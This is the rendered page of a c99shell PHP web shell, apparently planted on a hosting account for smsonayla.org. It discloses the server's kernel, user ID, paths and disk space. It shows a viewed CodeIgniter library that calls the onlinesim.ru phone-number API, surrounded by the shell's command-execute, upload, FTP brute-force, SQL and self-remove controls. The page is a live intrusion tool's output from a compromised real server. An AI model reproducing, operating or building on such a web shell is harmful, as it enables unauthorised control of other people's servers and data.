smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/test/application/libraries/   drwxr-xr-x
Free 3429.63 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Onlinesim_api.php (4.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
defined
('BASEPATH') OR exit('No direct script access allowed');

class 
Onlinesim_Api {
    function 
get_balance() {
        
$api_key get_instance()->config->item("onlinesim_api_key");
        
$json file_get_contents("https://onlinesim.ru/api/getBalance.php?apikey=$api_key");
        return 
$json->balance;
    }
    public function 
get_number($country$service) {
        
$api_key get_instance()->config->item("onlinesim_api_key");
        
$res json_decode(file_get_contents("https://onlinesim.ru/api/getNum.php?apikey=$api_key&service=$service&country=$country"), true);
        if(
$res["response"] == "1") {
            
$tzid $res["tzid"];
            
$resp json_decode(file_get_contents("https://onlinesim.ru/api/getState.php?apikey=$api_key&tzid=$tzid"), true);
            return array(
                
"id" => $tzid,
                
"number" => $resp[0]["number"],
                
"error_code" => 200
            
);
        }
        else {
            
$error_code 400;
            if(
$res["response"] == "NO_NUMBER"$error_code 103;
            return array(
                
"id" => 0,
                
"number" => null,
                
"error_code" => $error_code
            
);
        }
    }
    public function 
get_message($id) {
        
$api_key get_instance()->config->item("onlinesim_api_key");
        
$res json_decode(file_get_contents("https://onlinesim.ru/api/getState.php?apikey=$api_key&tzid=$id"), true);
        if(
$res[0]["response"] == "TZ_NUM_ANSWER") {
            
file_get_contents("https://onlinesim.ru/api/setOperationOk.php?apikey=$api_key&tzid=$id");
            return array(
                
"code" => $res[0]["msg"]
            );
        }
        else {
            return array(
                
"code" => null
            
);
        }
    }
    public function 
get_service_stock($country$service) {
        
$api_key get_instance()->config->item("onlinesim_api_key");
        
$json json_decode(file_get_contents("https://onlinesim.ru/api/getNumbersStats.php?apikey=$api_key&country=$country"), true);
        return 
$json["services"][$service]["count"];
    }
    public function 
get_countries() {
        
$countries = array(
            array(
"id"=>"49","name"=>"Germany"),
            array(
"id"=>"7","name"=>"Russia"),
            array(
"id"=>"357","name"=>"Cyprus"),
            array(
"id"=>"44","name"=>"United Kingdom"),
            array(
"id"=>"34","name"=>"Spain"),
            array(
"id"=>"33","name"=>"France"),
            array(
"id"=>"1","name"=>"USA"),
            array(
"id"=>"62","name"=>"Indonesia"),
            array(
"id"=>"63","name"=>"Philippines"),
            array(
"id"=>"86","name"=>"China"),
            array(
"id"=>"380","name"=>"Ukraine"),
            array(
"id"=>"77","name"=>"Kazakhstan"),
            array(
"id"=>"375","name"=>"Belorussia"),
            array(
"id"=>"40","name"=>"Romania"),
            array(
"id"=>"420","name"=>"Czech"),
            array(
"id"=>"48","name"=>"Poland"),
            array(
"id"=>"43","name"=>"Austria"),
            array(
"id"=>"381","name"=>"Serbia"),
            array(
"id"=>"371","name"=>"Latvia"),
            array(
"id"=>"372","name"=>"Estonia"),
            array(
"id"=>"373","name"=>"Moldova"),
            array(
"id"=>"998","name"=>"Uzbekistan"),
            array(
"id"=>"967","name"=>"Yemen"),
            array(
"id"=>"234","name"=>"Nigeria"),
            array(
"id"=>"509","name"=>"Haiti"),
            array(
"id"=>"225","name"=>"Ivory Coast"),
            array(
"id"=>"233","name"=>"Ghana"),
            array(
"id"=>"213","name"=>"Algeria"),
            array(
"id"=>"95","name"=>"Myanmar"),
            array(
"id"=>"27","name"=>"South Africa"),
            array(
"id"=>"46","name"=>"Sweden")
        );
        return 
$countries;
    }
    public function 
get_service_price($country$service) {
        
$api_key get_instance()->config->item("onlinesim_api_key");
        
$json json_decode(file_get_contents("https://onlinesim.ru/api/getNumbersStats.php?apikey=$api_key&country=$country"), true);
        return 
$json["services"][$service]["price"] . " RUB";
    }
    public function 
get_services_by_country($country) {
        
$services = array();
        
$api_key get_instance()->config->item("onlinesim_api_key");
        
$json json_decode(file_get_contents("https://onlinesim.ru/api/getNumbersStats.php?apikey=$api_key&country=$country"), true);
        foreach(
array_keys($json["services"]) as $service) {
            
array_push($services, array(
                
"id" => $service,
                
"name" => $json["services"][$service]["service"]
            ));
        }
        return 
$services;
    }
    public function 
cancel_number($number_id) {
        
$api_key get_instance()->config->item("onlinesim_api_key");
        
file_get_contents("https://onlinesim.ru/api/setOperationOk.php?apikey=$api_key&tzid=$number_id");
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0061 ]--